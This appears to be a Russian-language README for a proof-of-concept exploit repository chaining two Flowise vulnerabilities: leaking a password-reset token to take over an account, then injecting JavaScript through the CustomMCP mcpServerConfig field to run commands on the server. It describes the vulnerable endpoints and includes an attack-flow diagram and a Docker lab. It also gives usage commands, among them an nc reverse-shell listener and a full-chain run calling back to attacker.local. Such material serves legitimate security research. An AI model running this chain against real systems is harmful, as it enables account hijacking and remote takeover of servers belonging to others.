Эксплойт PoC для FlowiseAI CVE-2025-58434 и CVE-2025-59528, демонстрирующий неаутентифицированный ATO через утечку токена сброса, за которым следует аутентифицированный RCE. Включает воспроизводимую среду Docker-лаборатории.
⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, незаконен.
Этот репозиторий содержит концептуальное доказательство на Python для объединения двух уязвимостей Flowise:
Flowise — это платформа drag-and-drop для создания LLM-приложений и рабочих процессов AI-агентов. CVE-2025-59528 затрагивает Flowise 3.0.5 и исправлена в версии 3.0.6. Проблема связана с небезопасной обработкой mcpServerConfig внутри узла CustomMCP. CVE-2025-58434 связана с раскрытием токена сброса пароля и также была устранена в Flowise 3.0.6.
Инструмент поддерживает:
Уязвимый процесс сброса пароля раскрывает конфиденциальные данные пользователя, включая временные токены сброса пароля, в ответе API. Злоумышленник, знающий действительный адрес электронной почты пользователя, может запросить сброс пароля, извлечь временный токен из ответа и использовать его для установки нового пароля для учётной записи.
Уязвимое поведение затрагивает как облачный Flowise, так и локальные развёртывания с тем же API-интерфейсом. Исправление заключается в том, чтобы никогда не возвращать токены сброса пароля или конфиденциальные данные сброса учётной записи непосредственно в ответах API.
Уязвимость существует в узле CustomMCP Flowise. Параметр mcpServerConfig обрабатывается как часть процесса конфигурации MCP-сервера и выполняется как JavaScript-код без какой-либо проверки безопасности. Это позволяет аутентифицированному злоумышленнику внедрить произвольный JavaScript-код, который выполняется в среде Node.js сервера Flowise. В функции convertToValidJSONString пользовательский ввод передаётся в конструктор Function, который обрабатывает ввод как код JavaScript с полными привилегиями Node.js, что позволяет получить доступ к модулям, таким как child_process, для выполнения системных команд.
Уязвимая конечная точка, используемая в этом PoC:
POST /api/v1/node-load-method/customMCP
с полезной нагрузкой js в поле mcpServerConfig тела JSON, например:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Уязвимый код находится в файле CustomMCP.ts и упоминается в Консультации разработчика GitHub для CVE.
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Account takeover + authenticated RCE
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Настройте переменные окружения
docker-compose up -d
Без аргументов инструмент запустит полную цепочку атаки, проверит уязвимость цели, выполнит перехват учётной записи для указанного email, выполнит вход для получения куки, а затем эксплуатирует уязвимость RCE с помощью полезной нагрузки reverse shell. Запустите выделенный слушатель (например, nc -lvnp 9889) перед выполнением инструмента в режиме полной цепочки.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Выполняет проверку версии, чтобы определить, уязвима ли цель для CVE-2025-58434 и CVE-2025-59528. Отправляет запрос к API цели и анализирует ответ для определения версии Flowise и статуса уязвимости.
python3 exploit.py --target http://localhost:3000 check
Выполняет процесс перехвата учётной записи для CVE-2025-58434. Отправляет запрос на сброс пароля для указанного email, извлекает временный токен из ответа, а затем использует этот токен для установки нового пароля (по умолчанию: "Password123!") для учётной записи.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Выполняет вход на цель, используя указанный email и пароль (по умолчанию: "Password123!"). В случае успеха извлекает и отображает куки аутентификации (например, connect.sid) для использования в аутентифицированных запросах.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode